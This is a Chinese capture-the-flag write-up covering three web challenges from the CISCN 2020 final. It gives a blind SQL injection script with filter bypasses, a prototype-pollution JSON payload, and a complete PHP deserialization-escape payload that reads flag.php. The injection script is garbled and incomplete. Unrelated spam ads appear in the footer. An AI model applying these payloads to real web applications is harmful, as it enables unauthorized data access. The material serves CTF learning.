对ciscn final的web的小解析

访客4年前黑客文章602
本文首发于“合天智汇”公众号 作者:HhhM
web1
输入1点击输入框后会显示如下参数:
?id=1&limit=1
看下源码能得到这么两句sql语句:
<!-- $query="SELECT * FROM fake_flag WHERE id=$id limit 0,$limit"; //$query="SELECT flag FROM real_flag WHERE id=$id limit 0,$limit"; -->
会发现左右过滤不相同,尝试如下可以把limit语句注释掉:
id=1
此时sql语句变成:
SELECT * FROM fake_flag WHERE id=1可控内容
空格被过滤了,可以考虑 或 来绕过,因此输入如下会发现语句执行成功:
?id=-1or%0a1
or 1=1发现等于号被过滤,fuzz一下能得到部分可用函数,且左边没有过滤减号:
ord mid group_concat
过滤逗号可以采用from(1)for(1)的形式来绕过。
盲注脚本:
# conding=utf-8# ciscn2020 web1 blindimportrequests req =requests.session()url ="http://ip:port/?id={0}&limit={1}"defcommonGET():payload1 ="-1 or {0}-ord(mid((select group_concat(flag) from(real_flag))from({0})for(1)))"chars ='-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'result =""fori inrange(1,50):forj inchars:payload3 =payload1.format(ord(j))payload4 =payload2.format(i)url1 =url.format(payload3,payload4)rep =req.get(url1)text =rep.text # print(text)if"searched nothing"intext:result +=j print(result)commonGET()
web2
比赛没咋看这个题,源码只存了个app.js跑不起来就没复现,大概看了一下是原型链污染。
player是一个字典,注意到:
因为monster也是一个字典,且存在hp,并且我们是先攻击怪兽,因此我们污染buff的话就可以一刀秒了boss,然后就是用这一个循环进行污染:
传入:
{“__proto__“:{“buff”: 1000}}
那么就会把玩家的buff污染为1000,那么看到伤害的计算:
攻击+buff,也就是说这里就可以让玩家攻击无限大直接秒了boss了。
本地测试可以发现如下:
打败boss即可getflag。
web3
Web3其实考了两个点一个是反序列化逃逸,一个是反序列化串中的s替换为S时可以把字符串用16进制表示,个人感觉这个题其实就是0ctfpiapiapia+强网杯2020的web辅助。
wwwroot.zip源码泄露。
给了一个user类,逃逸点在于:
privatefunctionwaf($string){$waf='/phar|file|gopher|http|sftp|flag/i';returnpreg_replace($waf,'index',$string);}
至于从哪里进行序列化串的传入,看到:
先说我们传入的虽然是一个数组, 但因为waf处如果我们传入一个flag,就会被替换为index,此时长度差为1。
在这里会把我们的序列化串waf后再反序列化,我们利用它可以逃逸出来一个user对象。
waf的话可以使用s替换为S以此使用16进制来表示flag.php来绕过,这一个过滤限制了我们只能使用old_password字段,否则的话可以采用gopher替换为index来吃掉部分序列化串。
需要伪造的序列化串为这么一串东西,长度为196,所以这里需要196个flag替换为index:
本地模拟一下过waf会发现这里长度980其实就是index的长度总和:
那么余下的序列化串理所当然就逃逸出去了。
update_username=1&old_password=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:1:"1";O:4:"User":6:{S:8:"username";s:1:"1";S:8:"password";s:1:"1";s:3:"age";s:1:"1";s:5:"email";s:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";s:0:"";}&update_password=123&update_age=1&update_email=231@qq.com
当然了如果没有前面对字段的格式过滤,也可以采用如下的payload:
update_username=1&old_password=1&update_password=1&update_email=";s:5:"email";'.'O:4:"User":6:{S:8:"username";s:1:"1";S:8:"password";s:1:"1";s:3:"age";s:1:"1";s:5:"email";s:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";s:0:"";}&update_age=gophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergopher

相关文章

澳门伴游经纪微信-【严夏青】

“澳门伴游经纪微信-【严夏青】” 每一个人都听说过北京模特的伴有旅程吧,其实对于北京模特的伴有旅程,小编认为很多的模特,他们在北京这一个地方,如果能够生存的越来越好的话,那么他们的压力也都是非常小的,...

看门狗1神秘黑客是谁(看门狗黑客软件ccos)

看门狗1神秘黑客是谁(看门狗黑客软件ccos)

b站游戏看门狗的主角是谁? 总之,艾登·皮尔斯是看门狗游戏中的主角,他是一位拥有强大技能和深刻情感的黑客和战士。玩家可以通过他的视角探索城市的黑暗面,并尝试用自己的方式改变这个世界。Aiden Pea...

ifc22 - ifc22.dll - DLL文件信息

ifc22 - ifc22.dll - DLL文件信息内容 DLL 文档:ifc22 或是 ifc22.dllDLL 名字:Immersion Technologie Touchsence D...

想当黑客学什么专业,黑客交流论坛有哪些

想当黑客学什么专业,黑客交流论坛有哪些

一、想当学什么专业黑客接单流程 1、有一本书叫什么接单黑客例如,过去,它包括使用机器代码编程,并知道它最近包括HTML语言。想当学什么专业交流论坛有哪些成为黑客是很重要的。XXX想当学什么专业有一本书...

南京空姐商务服务预约彭菜玲

南京空姐商务服务预约【彭菜玲】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄深圳 女 22,婚姻:保密,学历:高中,气质:南京空姐商务服务预约寻找方法,关注...